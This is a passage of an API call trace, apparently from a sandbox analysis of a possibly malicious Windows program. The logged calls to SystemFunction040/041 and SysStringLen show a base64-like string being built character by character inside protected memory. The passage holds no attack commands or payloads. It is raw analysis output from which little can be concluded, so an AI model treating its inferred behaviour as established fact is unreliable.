(param_1="\xdc6b\x7b78\x405b\x469d\x7d9e\x4a8a\x84bc\xe7c7\x38db\x8a21\xbf98\x96e8\xe3b\xbc1e\xfb03\x9231\x8421\x16db\x5b09\x6fcd\x4c48\x1480\x9ea3\xceed") returned 0x18 [0137.358] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0137.358] SysStringLen (param_1="x3NhR+3eZ70ng5xamWbumq뻸ꋢ") returned 0x18 [0137.358] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0137.358] SysStringLen (param_1="\xdc6b\x7b78\x405b\x469d\x7d9e\x4a8a\x84bc\xe7c7\x38db\x8a21\xbf98\x96e8\xe3b\xbc1e\xfb03\x9231\x7e5e\xe8bf\x8de0\x845\xec72\x19d5\x7e56\x2ef9") returned 0x18 [0137.358] SysStringLen (param_1="\xdc6b\x7b78\x405b\x469d\x7d9e\x4a8a\x84bc\xe7c7\x38db\x8a21\xbf98\x96e8\xe3b\xbc1e\xfb03\x9231\x7e5e\xe8bf\x8de0\x845\xec72\x19d5\x7e56\x2ef9") returned 0x18 [0137.358] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0137.358] SysStringLen (param_1="x3NhR+3eZ70ng5xamWbumqQꋢ") returned 0x18 [0137.358] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0137.358] SysStringLen (param_1="\xdc6b\x7b78\x405b\x469d\x7d9e\x4a8a\x84bc\xe7c7\x38db\x8a21\xbf98\x96e8\xe3b\xbc1e\xfb03\x9231\x3f5b\xd7dc\xdd68\x10d1\x1e26\x28aa\x36e\x2bc7") returned 0x18 [0137.358] SysStringLen (param_1="\xdc6b\x7b78\x405b\x469d\x7d9e\x4a8a\x84bc\xe7c7\x38db\x8a21\xbf98\x96e8\xe3b\xbc1e\xfb03\x9231\x3f5b\xd7dc\xdd68\x10d1\x1e26\x28aa\x36e\x2bc7") returned 0x18 [0137.358] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0137.359] SysStringLen (param_1="x3NhR+3eZ70ng5xamWbumqQE") returned 0x18 [0137.359] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0137.359] SysStringLen (param_1="\xdc6b\x7b78\x405b\x469d\x7d9e\x4a8a\x84bc\xe7c7\x38db\x8a21\xbf98\x96e8\xe3b\xbc1e\xfb03\x9231\x58eb\x5291\x9099\xbe4d\x440\x62b1\x2b5e\x81b8") returned 0x18 [0137.359] SysStringLen (param_1="\xdc6b\x7b78\x405b\x469d\x7d9e\x4a8a\x84bc\xe7c7\x38db\x8a21\xbf98\x96e8\xe3b\xbc1e\xfb03\x9231\x58eb\x5291\x9099\xbe4d\x440\x62b1\x2b5e\x81b8") returned 0x18 [0137.359] SysStringLen (param_1="\xdc6b\x7b78\x405b\x469d\x7d9e\x4a8a\x84bc\xe7c7\x38db\x8a21\xbf98\x96e8\xe3b\xbc1e\xfb03\x9231\x58eb\x5291\x9099\xbe4d\x440\x62b1\x2b5e\x81b8") returned 0x18 [0137.359] SysStringLen (param_1="\xdc6b\x7b78\x405b\x469d\x7d9e\x4a8a\x84bc\xe7c7\x38db\x8a21\xbf98\x96e8\xe3b\xbc1e\xfb03\x9231\x58eb\x5291\x9099\xbe4d\x440\x62b1\x2b5e\x81b8") returned 0x20 [0137.359] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0137.359] SysStringLen (param_1="x3NhR+3eZ70ng5xamWbumqQEg劻뽋삀瘤溥녫") returned 0x20 [0137.359] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0137.359] SysStringLen (param_1="\xdc6b\x7b78\x405b\x469d\x7d9e\x4a8a\x84bc\xe7c7\x38db\x8a21\xbf98\x96e8\xe3b\xbc1e\xfb03\x9231\x58eb\x5291\x9099\xbe4d\x440\x62b1\x2b5e\x81b8\x6422\x9124\x2c77\x996\xd439\x7fe9\xabc7\x141b") returned 0x20 [0137.359] SysStringLen (param_1="\xdc6b\x7b78\x405b\x469d\x7d9e\x4a8a\x84bc\xe7c7\x38db\x8a21\xbf98\x96e8\xe3b\xbc1e\xfb03\x9231\x58eb\x5291\x9099\xbe4d\x440\x62b1\x2b5e\x81b8\x6422\x9124\x2c77\x996\xd439\x7fe9\xabc7\x141b") returned 0x20 [0137.359] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0137.359] SysStringLen (param_1="x3NhR+3eZ70ng5xamWbumqQEgf뽋삀瘤溥녫") returned 0x20 [0137.359] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0137.359] SysStringLen (param_1="\xdc6b\x7b78\x405b\x469d\x7d9e\x4a8a\x84bc\xe7c7\x38db\x8a21\xbf98\x96e8\xe3b\xbc1e\xfb03\x9231\x58eb\x5291\x9099\xbe4d\x440\x62b1\x2b5e\x81b8\x6f0d\xbab8\xe766\xef8\xee15\xa272\x78bd\x824f") returned 0x20 [0137.359] SysStringLen (param_1="\xdc6b\x7b78\x405b\x469d\x7d9e\x4a8a\x84bc\xe7c7\x38db\x8a21\xbf98\x96e8\xe3b\xbc1e\xfb03\x9231\x58eb\x5291\x9099\xbe4d\x440\x62b1\x2b5e\x81b8\x6f0d\xbab8\xe766\xef8\xee15\xa272\x78bd\x824f") returned 0x20 [0137.359] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0137.359] SysStringLen (param_1="x3NhR+3eZ70ng5xamWbumqQEgf6뽋삀瘤溥녫") returned 0x20 [0137.359] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0137.359] SysStringLen (param_1="\xdc6b\x7b78\x405b\x469d\x7d9e\x4a8a\x84bc\xe7c7\x38db\x8a21\xbf98\x96e8\xe3b\xbc1e\xfb03\x9231\x58eb\x5291\x9099\xbe4d\x440\x62b1\x2b5e\x81b8\x5f3\x380b\xdd45\xca0e\xd461\xcd12\xda82\xe9cb") returned 0x20 [0137.359] SysStringLen (param_1="\xdc6b\x7b78\x405b\x469d\x7d9e\x4a8a\x84bc\xe7c7\x38db\x8a21\xbf98\x96e8\xe3b\xbc1e\xfb03\x9231\x58eb\x5291\x9099\xbe4d\x440\x62b1\x2b5e\x81b8\x5f3\x380b\xdd45\xca0e\xd461\xcd12\xda82\xe9cb") returned 0x20 [0137.359] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0137.359] SysStringLen (param_1="x3NhR+3eZ70ng5xamWbumqQEgf6s삀瘤溥녫") returned 0x20 [0137.360] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0137.360] SysStringLen (param_1="\xdc6b\x7b78\x405b\x469d\x7d9e\x4a8a\x84bc\xe7c7\x38db\x8a21\xbf98\x96e8\xe3b\xbc1e\xfb03\x9231\x58eb\x5291\x9099\xbe4d\x440\x62b1\x2b5e\x81b8\x4faa\xf48d\x1b17\x9a02\x788b\x14f7\xa0d\x842b") returned 0x20 [0137.360] SysStringLen (param_1="\xdc6b\x7b78\x405b\x469d\x7d9e\x4a8a\x84bc\xe7c7\x38db\x8a21\xbf98\x96e8\xe3b\xbc1e\xfb03\x9231\x58eb\x5291\x9099\xbe4d\x440\x62b1\x2b5e\x81b8\x4faa\xf48d\x1b17\x9a02\x788b\x14f7\xa0d\x842b") returned 0x20 [0137.360] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0137.360] SysStringLen (param_1="x3NhR+3eZ70ng5xamWbumqQEgf6sT瘤溥녫") returned 0x20 [0137.360] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0137.360] SysStringLen (param_1="\xdc6b\x7b78\x405b\x469d\x7d9e\x4a8a\x84bc\xe7c7\x38db\x8a21\xbf98\x96e8\xe3b\xbc1e\xfb03\x9231\x58eb\x5291\x9099\xbe4d\x440\x62b1\x2b5e\x81b8\xe73f\x312b\x2840\x7375\x23ae\x7f00\x1faa\x4c31") returned 0x20 [0137.360] SysStringLen (param_1="\xdc6b\x7b78\x405b\x469d\x7d9e\x4a8a\x84bc\xe7c7\x38db\x8a21\xbf98\x96e8\xe3b\xbc1e\xfb03\x9231\x58eb\x5291\x9099\xbe4d\x440\x62b1\x2b5e\x81b8\xe73f\x312b\x2840\x7375\x23ae\x7f00\x1faa\x4c31") returned 0x20 [0137.360] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0137.360] SysStringLen (param_1="x3NhR+3eZ70ng5xamWbumqQEgf6sTn溥녫") returned 0x20 [0137.360] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0137.360] SysStringLen (param_1="\xdc6b\x7b78\x405b\x469d\x7d9e\x4a8a\x84bc\xe7c7\x38db\x8a21\xbf98\x96e8\xe3b\xbc1e\xfb03\x9231\x58eb\x5291\x9099\xbe4d\x440\x62b1\x2b5e\x81b8\x2905\xbadb\x37fe\xdacc\x4fad\xed89\xd43d\x72b7") returned 0x20 [0137.360] SysStringLen (param_1="\xdc6b\x7b78\x405b\x469d\x7d9e\x4a8a\x84bc\xe7c7\x38db\x8a21\xbf98\x96e8\xe3b\xbc1e\xfb03\x9231\x58eb\x5291\x9099\xbe4d\x440\x62b1\x2b5e\x81b8\x2905\xbadb\x37fe\xdacc\x4fad\xed89\xd43d\x72b7") returned 0x20 [0137.360] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0137.360] SysStringLen (param_1="x3NhR+3eZ70ng5xamWbumqQEgf6sTn3녫") returned 0x20 [0137.360] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0137.360] SysStringLen (param_1="\xdc6b\x7b78\x405b\x469d\x7d9e\x4a8a\x84bc\xe7c7\x38db\x8a21\xbf98\x96e8\xe3b\xbc1e\xfb03\x9231\x58eb\x5291\x9099\xbe4d\x440\x62b1\x2b5e\x81b8\x453\x5b17\xfd72\x360d\xf5bb\xf520\xb13e\x3f2b") returned 0x20 [0137.360] SysStringLen (param_1="\xdc6b\x7b78\x405b\x469d\x7d9e\x4a8a\x84bc\xe7c7\x38db\x8a21\xbf98\x96e8\xe3b\xbc1e\xfb03\x9231\x58eb\x5291\x9099\xbe4d\x440\x62b1\x2b5e\x81b8\x453\x5b17\xfd72\x360d\xf5bb\xf520\xb13e\x3f2b") returned 0x20 [0137.360] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0137.360] SysStringLen (param_1="x3NhR+3eZ70ng5xamWbumqQEgf6sTn3X") returned 0x20 [0137.360] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0137.360] SysStringLen (param_1="\xdc6b\x7b78\x405b\x469d\x7d9e\x4a8a\x84bc\xe7c7\x38db\x8a21\xbf98\x96e8\xe3b\xbc1e\xfb03\x9231\x58eb\x5291\x9099\xbe4d\x440\x62b1\x2b5e\x81b8\x30de\x66dc\xbf20\x1082\xd7be\xd6a2\x343b\x4c83") returned 0x20 [0137.360] SysStringLen (param_1="\xdc6b\x7b78\x405b\x469d\x7d9e\x4a8a\x84bc\xe7c7\x38db\x8a21\xbf98\x96e8\xe3b\xbc1e\xfb03\x9231\x58eb\x5291\x9099\xbe4d\x440\x62b1\x2b5e\x81b8\x30de\x66dc\xbf20\x1082\xd7be\xd6a2\x343b\x4c83") returned 0x20 [0137.361] SysStringLen (param_1="\xdc6b\x7b78\x405b\x469d\x7d9e\x4a8a\x84bc\xe7c7\x38db\x8a21\xbf98\x96e8\xe3b\xbc1e\xfb03\x9231\x58eb\x5291\x9099\xbe4d\x440\x62b1\x2b5e\x81b8\x30de\x66dc\xbf20\x1082\xd7be\xd6a2\x343b\x4c83") returned 0x20 [0137.361] SysStringLen (param_1="\xdc6b\x7b78\x405b\x469d\x7d9e\x4a8a\x84bc\xe7c7\x38db\x8a21\xbf98\x96e8\xe3b\xbc1e\xfb03\x9231\x58eb\x5291\x9099\xbe4d\x440\x62b1\x2b5e\x81b8\x30de\x66dc\xbf20\x1082\xd7be\xd6a2\x343b\x4c83") returned 0x28 [0137.361] SystemFunction041 (in: Memory=0x8ebfc94, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ebfc94) returned 0x0 [0137.361] SysStringLen (param_1="x3NhR+3eZ70ng5xamWbumqQEgf6sTn3XE曶챨ᆄ፾숷燀籐") returned 0x28 [0137.361] SystemFunction040 (in: Memory=0x8ebfc94, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ebfc94) returned 0x0 [0137.361] SysStringLen (param_1="\xdc6b\x7b78\x405b\x469d\x7d9e\x4a8a\x84bc\xe7c7\x38db\x8a21\xbf98\x96e8\xe3b\xbc1e\xfb03\x9231\x58eb\x5291\x9099\xbe4d\x440\x62b1\x2b5e\x81b8\x30de\x66dc\xbf20\x1082\xd7be\xd6a2\x343b\x4c83\x692\x692c\xfde3\x161b\xffc\x55e4\x9fc1\x682f") returned 0x28 [0137.361] SysStringLen (param_1="\xdc6b\x7b78\x405b\x469d\x7d9e\x4a8a\x84bc\xe7c7\x38db\x8a21\xbf98\x96e8\xe3b\xbc1e\xfb03\x9231\x58eb\x5291\x9099\xbe4d\x440\x62b1\x2b5e\x81b8\x30de\x66dc\xbf20\x1082\xd7be\xd6a2\x343b\x4c83\x692\x692c\xfde3\x161b\xffc\x55e4\x9fc1\x682f") returned 0x28 [0137.361] SystemFunction041 (in: Memory=0x8ebfc94, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ebfc94) returned 0x0 [0137.361] SysStringLen (param_1="x3NhR+3eZ70ng5xamWbumqQEgf6sTn3XEZ챨ᆄ፾숷燀籐") returned 0x28 [0137.361] SystemFunction040 (in: Memory=0x8ebfc94, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ebfc94) returned 0x0 [0137.361] SysStringLen (param_1="\xdc6b\x7b78\x405b\x469d\x7d9e\x4a8a\x84bc\xe7c7\x38db\x8a21\xbf98\x96e8\xe3b\xbc1e\xfb03\x9231\x58eb\x5291\x9099\xbe4d\x440\x62b1\x2b5e\x81b8\x30de\x66dc\xbf20\x1082\xd7be\xd6a2\x343b\x4c83\xef80\x4ccc\x1788\x2917\x892d\x324d\x41dd\x4b93") returned 0x28 [0137.361] SysStringLen (param_1="\xdc6b\x7b78\x405b\x469d\x7d9e\x4a8a\x84bc\xe7c7\x38db\x8a21\xbf98\x96e8\xe3b\xbc1e\xfb03\x9231\x58eb\x5291\x9099\xbe4d\x440\x62b1\x2b5e\x81b8\x30de\x66dc\xbf20\x1082\xd7be\xd6a2\x343b\x4c83\xef80\x4ccc\x1788\x2917\x892d\x324d\x41dd\x4b93") returned 0x28 [0137.361] SystemFunction041 (in: Memory=0x8ebfc94, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ebfc94) returned 0x0 [0137.361] SysStringLen (param_1="x3NhR+3eZ70ng5xamWbumqQEgf6sTn3XEZoᆄ፾숷燀籐") returned 0x28 [0137.362] SystemFunction040 (in: Memory=0x8ebfc94, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ebfc94) returned 0x0 [0137.362] SysStringLen (param_1="\xdc6b\x7b78\x405b\x469d\x7d9e\x4a8a\x84bc\xe7c7\x38db\x8a21\xbf98\x96e8\xe3b\xbc1e\xfb03\x9231\x58eb\x5291\x9099\xbe4d\x440\x62b1\x2b5e\x81b8\x30de\x66dc\xbf20\x1082\xd7be\xd6a2\x343b\x4c83\x2eab\x2b54\xc617\x63b3\xf00b\xa4f8\x3b32\x82e5") returned 0x28 [0137.362] SysStringLen (param_1="\xdc6b\x7b78\x405b\x469d\x7d9e\x4a8a\x84bc\xe7c7\x38db\x8a21\xbf98\x96e8\xe3b\xbc1e\xfb03\x9231\x58eb\x5291\x9099\xbe4d\x440\x62b1\x2b5e\x81b8\x30de\x66dc\xbf20\x1082\xd7be\xd6a2\x343b\x4c83\x2eab\x2b54\xc617\x63b3\xf00b\xa4f8\x3b32\x82e5") returned 0x28 [0137.362] SystemFunction041 (in: Memory=0x8ebfc94, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ebfc94) returned 0x0 [0137.362] SysStringLen (param_1="x3NhR+3eZ70ng5xamWbumqQEgf6sTn3XEZos፾숷燀籐") returned 0x28 [0137.362] SystemFunction040 (in: Memory=0x8ebfc94, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ebfc94) returned 0x0 [0137.362] SysStringLen (param_1="\xdc6b\x7b78\x405b\x469d\x7d9e\x4a8a\x84bc\xe7c7\x38db\x8a21\xbf98\x96e8\xe3b\xbc1e\xfb03\x9231\x58eb\x5291\x9099\xbe4d\x440\x62b1\x2b5e\x81b8\x30de\x66dc\xbf20\x1082\xd7be\xd6a2\x343b\x4c83\x1d04\x497\x3780\x2bb6\x5919\xbf59\x4058\xf6e8") returned 0x28 [0137.362] SysStringLen (param_1="\xdc6b\x7b78\x405b\x469d\x7d9e\x4a8a\x84bc\xe7c7\x38db\x8a21\xbf98\x96e8\xe3b\xbc1e\xfb03\x9231\x58eb\x5291\x9099\xbe4d\x440\x62b1\x2b5e\x81b8\x30de\x66dc\xbf20\x1082\xd7be\xd6a2\x343b\x4c83\x1d04\x497\x3780\x2bb6\x5919\xbf59\x4058\xf6e8") returned 0x28 [0137.362] SystemFunction041 (in: Memory=0x8ebfc94, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ebfc94) returned 0x0 [0137.362] SysStringLen (param_1="x3NhR+3eZ70ng5xamWbumqQEgf6sTn3XEZosJ숷燀籐") returned 0x28 [0137.362] SystemFunction040 (in: Memory=0x8ebfc94, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ebfc94) returned 0x0 [0137.362] SysStringLen (param_1="\xdc6b\x7b78\x405b\x469d\x7d9e\x4a8a\x84bc\xe7c7\x38db\x8a21\xbf98\x96e8\xe3b\xbc1e\xfb03\x9231\x58eb\x5291\x9099\xbe4d\x440\x62b1\x2b5e\x81b8\x30de\x66dc\xbf20\x1082\xd7be\xd6a2\x343b\x4c83\x1ae1\xc174\xccc0\x9fa\x2ba4\x77ab\xbe2c\x3178") returned 0x28 [0137.362] SysStringLen (param_1="\xdc6b\x7b78\x405b\x469d\x7d9e\x4a8a\x84bc\xe7c7\x38db\x8a21\xbf98\x96e8\xe3b\xbc1e\xfb03\x9231\x58eb\x5291\x9099\xbe4d\x440\x62b1\x2b5e\x81b8\x30de\x66dc\xbf20\x1082\xd7be\xd6a2\x343b\x4c83\x1ae1\xc174\xccc0\x9fa\x2ba4\x77ab\xbe2c\x3178") returned 0x28 [0137.362] SystemFunction041 (in: Memory=0x8ebfc94, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ebfc94) returned 0x0 [0137.363] SysStringLen (param_1="x3NhR+3eZ70ng5xamWbumqQEgf6sTn3XEZosJT燀籐") returned 0x28 [0137.363] SystemFunction040 (in: Memory=0x8ebfc94, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ebfc94) returned 0x0 [0137.363] SysStringLen (param_1="\xdc6b\x7b78\x405b\x469d\x7d9e\x4a8a\x84bc\xe7c7\x38db\x8a21\xbf98\x96e8\xe3b\xbc1e\xfb03\x9231\x58eb\x5291\x9099\xbe4d\x440\x62b1\x2b5e\x81b8\x30de\x66dc\xbf20\x1082\xd7be\xd6a2\x343b\x4c83\x5456\xb5b0\x7542\x1643\xa1e3\xd1ef\xf5dc\xe435") returned 0x28 [0137.363] SysStringLen (param_1="\xdc6b\x7b78\x405b\x469d\x7d9e\x4a8a\x84bc\xe7c7\x38db\x8a21\xbf98\x96e8\xe3b\xbc1e\xfb03\x9231\x58eb\x5291\x9099\xbe4d\x440\x62b1\x2b5e\x81b8\x30de\x66dc\xbf20\x1082\xd7be\xd6a2\x343b\x4c83\x5456\xb5b0\x7542\x1643\xa1e3\xd1ef\xf5dc\xe435") returned 0x28 [0137.363] SystemFunction041 (in: Memory=0x8ebfc94, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ebfc94) returned 0x0 [0137.363] SysStringLen (param_1="x3NhR+3eZ70ng5xamWbumqQEgf6sTn3XEZosJTR籐") returned 0x28 [0137.363] SystemFunction040 (in: Memory=0x8ebfc94, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ebfc94) returned 0x0 [0137.363] SysStringLen (param_1="\xdc6b\x7b78\x405b\x469d\x7d9e\x4a8a\x84bc\xe7c7\x38db\x8a21\xbf98\x96e8\xe3b\xbc1e\xfb03\x9231\x58eb\x5291\x9099\xbe4d\x440\x62b1\x2b5e\x81b8\x30de\x66dc\xbf20\x1082\xd7be\xd6a2\x343b\x4c83\xd52d\xcaf4\xba17\x53c\x61b6\x5f6c\xc46f\xa2ce") returned 0x28 [0137.363] SysStringLen (param_1="\xdc6b\x7b78\x405b\x469d\x7d9e\x4a8a\x84bc\xe7c7\x38db\x8a21\xbf98\x96e8\xe3b\xbc1e\xfb03\x9231\x58eb\x5291\x9099\xbe4d\x440\x62b1\x2b5e\x81b8\x30de\x66dc\xbf20\x1082\xd7be\xd6a2\x343b\x4c83\xd52d\xcaf4\xba17\x53c\x61b6\x5f6c\xc46f\xa2ce") returned 0x28 [0137.363] SystemFunction041 (in: Memory=0x8ebfc94, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ebfc94) returned 0x0 [0137.363] SysStringLen (param_1="x3NhR+3eZ70ng5xamWbumqQEgf6sTn3XEZosJTRQ") returned 0x28 [0137.363] SystemFunction040 (in: Memory=0x8ebfc94, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ebfc94) returned 0x0 [0137.363] SysStringLen (param_1="\xdc6b\x7b78\x405b\x469d\x7d9e\x4a8a\x84bc\xe7c7\x38db\x8a21\xbf98\x96e8\xe3b\xbc1e\xfb03\x9231\x58eb\x5291\x9099\xbe4d\x440\x62b1\x2b5e\x81b8\x30de\x66dc\xbf20\x1082\xd7be\xd6a2\x343b\x4c83\xb014\x1036\xda4e\x936e\xb1a1\xe718\xdc38\xaeed") returned 0x28 [0137.363] SysStringLen (param_1="\xdc6b\x7b78\x405b\x469d\x7d9e\x4a8a\x84bc\xe7c7\x38db\x8a21\xbf98\x96e8\xe3b\xbc1e\xfb03\x9231\x58eb\x5291\x9099\xbe4d\x440\x62b1\x2b5e\x81b8\x30de\x66dc\xbf20\x1082\xd7be\xd6a2\x343b\x4c83\xb014\x1036\xda4e\x936e\xb1a1\xe718\xdc38\xaeed") returned 0x28 [0137.363] SysStringLen (param_1="\xdc6b\x7b78\x405b\x469d\x7d9e\x4a8a\x84bc\xe7c7\x38db\x8a21\xbf98\x96e8\xe3b\xbc1e\xfb03\x9231\x58eb\x5291\x9099\xbe4d\x440\x62b1\x2b5e\x81b8\x30de\x66dc\xbf20\x1082\xd7be\xd6a2\x343b\x4c83\xb014\x1036\xda4e\x936e\xb1a1\xe718\xdc38\xaeed") returned 0x28 [0137.363] SysStringLen (param_1="\xdc6b\x7b78\x405b\x469d\x7d9e\x4a8a\x84bc\xe7c7\x38db\x8a21\xbf98\x96e8\xe3b\xbc1e\xfb03\x9231\x58eb\x5291\x9099\xbe4d\x440\x62b1\x2b5e\x81b8\x30de\x66dc\xbf20\x1082\xd7be\xd6a2\x343b\x4c83\xb014\x1036\xda4e\x936e\xb1a1\xe718\xdc38\xaeed") returned 0x30 [0137.363] SystemFunction041 (in: Memory=0x8e3146c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e3146c) returned 0x0 [0137.363] SysStringLen (param_1="x3NhR+3eZ70ng5xamWbumqQEgf6sTn3XEZosJTRQEလ꤆鉨畡駃鸾") returned 0x30 [0137.363] SystemFunction040 (in: Memory=0x8e3146c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e3146c) returned 0x0 [0137.363] SysStringLen (param_1="\xdc6b\x7b78\x405b\x469d\x7d9e\x4a8a\x84bc\xe7c7\x38db\x8a21\xbf98\x96e8\xe3b\xbc1e\xfb03\x9231\x58eb\x5291\x9099\xbe4d\x440\x62b1\x2b5e\x81b8\x30de\x66dc\xbf20\x1082\xd7be\xd6a2\x343b\x4c83\xb014\x1036\xda4e\x936e\xb1a1\xe718\xdc38\xaeed\x5fb4\x3f42\x7f53\xacbc\x7f5a\xa060\x991f\xf3ee") returned 0x30 [0137.363] SysStringLen (param_1="\xdc6b\x7b78\x405b\x469d\x7d9e\x4a8a\x84bc\xe7c7\x38db\x8a21\xbf98\x96e8\xe3b\xbc1e\xfb03\x9231\x58eb\x5291\x9099\xbe4d\x440\x62b1\x2b5e\x81b8\x30de\x66dc\xbf20\x1082\xd7be\xd6a2\x343b\x4c83\xb014\x1036\xda4e\x936e\xb1a1\xe718\xdc38\xaeed\x5fb4\x3f42\x7f53\xacbc\x7f5a\xa060\x991f\xf3ee") returned 0x30 [0137.363] SystemFunction041 (in: Memory=0x8e3146c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e3146c) returned 0x0 [0137.363] SysStringLen (param_1="x3NhR+3eZ70ng5xamWbumqQEgf6sTn3XEZosJTRQE5꤆鉨畡駃鸾") returned 0x30 [0137.363] SystemFunction040 (in: Memory=0x8e3146c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e3146c) returned 0x0 [0137.364] SysStringLen (param_1="\xdc6b\x7b78\x405b\x469d\x7d9e\x4a8a\x84bc\xe7c7\x38db\x8a21\xbf98\x96e8\xe3b\xbc1e\xfb03\x9231\x58eb\x5291\x9099\xbe4d\x440\x62b1\x2b5e\x81b8\x30de\x66dc\xbf20\x1082\xd7be\xd6a2\x343b\x4c83\xb014\x1036\xda4e\x936e\xb1a1\xe718\xdc38\xaeed\xeef8\x8789\x1db3\xbf97\x56c7\x43f8\xf5f7\xb903") returned 0x30 [0137.364] SysStringLen (param_1="\xdc6b\x7b78\x405b\x469d\x7d9e\x4a8a\x84bc\xe7c7\x38db\x8a21\xbf98\x96e8\xe3b\xbc1e\xfb03\x9231\x58eb\x5291\x9099\xbe4d\x440\x62b1\x2b5e\x81b8\x30de\x66dc\xbf20\x1082\xd7be\xd6a2\x343b\x4c83\xb014\x1036\xda4e\x936e\xb1a1\xe718\xdc38\xaeed\xeef8\x8789\x1db3\xbf97\x56c7\x43f8\xf5f7\xb903") returned 0x30 [0137.364] SystemFunction041 (in: Memory=0x8e3146c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e3146c) returned 0x0 [0137.364] SysStringLen (param_1="x3NhR+3eZ70ng5xamWbumqQEgf6sTn3XEZosJTRQE5I鉨畡駃鸾") returned 0x30 [0137.364] SystemFunction040 (in: Memory=0x8e3146c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e3146c) returned 0x0 [0137.364] SysStringLen (param_1="\xdc6b\x7b78\x405b\x469d\x7d9e\x4a8a\x84bc\xe7c7\x38db\x8a21\xbf98\x96e8\xe3b\xbc1e\xfb03\x9231\x58eb\x5291\x9099\xbe4d\x440\x62b1\x2b5e\x81b8\x30de\x66dc\xbf20\x1082\xd7be\xd6a2\x343b\x4c83\xb014\x1036\xda4e\x936e\xb1a1\xe718\xdc38\xaeed\x7b7e\x8fb1\x1da4\x869\x5bab\x5e45\xb430\xc12b") returned 0x30 [0137.364] SysStringLen (param_1="\xdc6b\x7b78\x405b\x469d\x7d9e\x4a8a\x84bc\xe7c7\x38db\x8a21\xbf98\x96e8\xe3b\xbc1e\xfb03\x9231\x58eb\x5291\x9099\xbe4d\x440\x62b1\x2b5e\x81b8\x30de\x66dc\xbf20\x1082\xd7be\xd6a2\x343b\x4c83\xb014\x1036\xda4e\x936e\xb1a1\xe718\xdc38\xaeed\x7b7e\x8fb1\x1da4\x869\x5bab\x5e45\xb430\xc12b") returned 0x30 [0137.364] SystemFunction041 (in: Memory=0x8e3146c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e3146c) returned 0x0 [0137.364] SysStringLen (param_1="x3NhR+3eZ70ng5xamWbumqQEgf6sTn3XEZosJTRQE5I=畡駃鸾") returned 0x30 [0137.364] SystemFunction040 (in: Memory=0x8e3146c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e3146c) returned 0x0 [0137.364] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, 